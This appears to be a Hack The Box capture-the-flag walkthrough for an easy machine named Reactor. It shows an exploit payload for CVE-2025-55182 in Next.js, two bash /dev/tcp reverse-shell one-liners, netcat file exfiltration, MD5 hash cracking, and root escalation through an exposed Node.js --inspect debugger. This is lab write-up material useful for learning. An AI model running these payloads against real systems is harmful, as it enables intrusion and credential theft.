After a long break, I’m back with Hack The Box Season 11. This machine was rated easy, so let’s dive in.
After a long break, I’m back with Hack The Box Season 11. This machine was rated easy, so let’s dive in.
Reconnaissance
I started with an Nmap scan:
┌──(vemacitrind㉿xiyu)-[~/Documents/hackthebox/Machine/Reactor]
└─$ nmap -sS -T4 10.129.4.20
# Nmap 7.95 scan initiated Mon May 25 00:12:09 2026
Nmap scan report for 10.129.4.20
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open pppTwo ports were open:
- 22/tcp → SSH (not useful initially)
- 3000/tcp → Unknown service
While browsing port 3000, I discovered the application was running Next.js 15.0.9. To check for known vulnerabilities, I ran Nuclei:
nuclei --target http://10.129.4.20:3000/
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] Using Interactsh Server: oast.pro
[CVE-2025-55182] [http] [critical] http://10.129.4.20:3000/The scan identified CVE-2025-55182, also known as React2Shell.
Initial Access
I configured Burp Suite to capture the vulnerable request and loaded the exploit.
Exploit source:
https://github.com/l4rm4nd/CVE-2025-55182I started a listener:
nc -lvnp 12345Then modified the payload as follows:
"_prefix": "var res=process.mainModule.require('child_process').execSync(\"bash -c 'exec bash -i &>/dev/tcp/<ip-addr>/12345 <&1'\",{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",After triggering the exploit, I received a reverse shell as the node user.
node@reactor:/opt/reactor-app$ ls
app
next.config.js
node_modules
package.json
package-lock.json
reactor.dbI noticed a SQLite database file named reactor.db, so I transferred it to my local machine.
File Transfer
Receiver:
nc -l -p 5555 > reactor.dbSender:
nc <ip-addr> 5555 < reactor.dbCredential Discovery
After opening the database with SQLite:
sqlite3 reactor.dbI enumerated the tables and extracted user credentials:
sqlite> .tables
sensor_logs users
sqlite> SELECT * FROM users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htbThe hashes appeared to be MD5.
I cracked the engineer hash using CrackStation.
Credentials
Username: engineer
Password: reactor1Using these credentials, I successfully logged in through SSH.
Privilege Escalation
After gaining access as engineer, I started standard enumeration:
sudo -l- Checking
/etc - Inspecting
/var - Reviewing running processes
Eventually, I found an interesting root-owned Node.js process exposing the V8 debugging interface locally.
ps aux
node 1388 0.8 3.4 11832468 134904 ? Ssl 15:13 2:23 next-server (v15.0.3)
root 1390 0.0 1.1 1066392 46652 ? Ssl 15:13 0:01 \
/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/workThe --inspect flag exposed the Node.js debugger on 127.0.0.1:9229.
To interact with it remotely, I created an SSH port forward:
ssh -L 9229:127.0.0.1:9229 engineer@10.129.4.20Next, I opened Chrome DevTools and attached to the /usr/bin/node process.
From the DevTools console, arbitrary JavaScript execution was possible inside the root-owned Node.js process.
Verification
require("child_process").execSync("whoami").toString()Output:
rootFinally, I spawned a root reverse shell:
require("child_process")
.execSync('bash -c "bash -i >& /dev/tcp/<ip-addr>/<port> 0>&1"')
.toString()Root access obtained.
